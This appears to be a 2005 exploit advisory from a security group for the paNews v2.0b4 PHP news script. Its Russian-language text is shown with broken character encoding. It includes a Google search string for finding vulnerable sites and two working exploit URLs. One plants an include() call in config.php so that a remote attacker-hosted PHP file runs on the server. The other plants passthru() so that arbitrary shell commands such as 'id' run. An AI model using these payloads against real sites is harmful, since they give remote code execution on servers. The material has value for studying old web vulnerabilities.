oooo oooo oooooooo8 ooooooooooo
8888o 88 888 88 888 88
88 888o88 888oooooo 888
88 8888 888 888
o88o 88 o88oooo888 o888o
********************************
**** Network security team *****
********* nst.e-nex.com ********
********************************
* Title: paNews v2.0b4
* Bug found by: ò¸ìû÷
* Date: 20.02.2005
********************************

web: http://www.phparena.net/panews.php
google: allintitle:paNews v2.0b4

PHP Injection
Áàãà ðàáîòàåò òîëüêî åñëè:
1. register_globals=On
2. íà ïàïêó includes ñòîÿò ïðàâà íà çàïèñü

p.s. îòðóáèòå ÿâàñêðèïòû - javascripts =-]

Example 1

http://victim/panews/includes/admin_setup.php?access[]=admins&do=updates
ets&form[comments]=$nst&form[autoapprove]=$nst&disvercheck=$nst&installe
d=$asd&showcopy=include($nst)

then:

http://victim/panews/includes/config.php?nst=http://your/file.php

Example 2

http://victim/panews/includes/admin_setup.php?access[]=admins&do=updates
ets&form[comments]=$nst&form[autoapprove]=$nst&disvercheck=$nst&installe
d=$asd&showcopy=passthru($nst)

then:

http://victim/panews/includes/config.php?nst=id

[ reply ]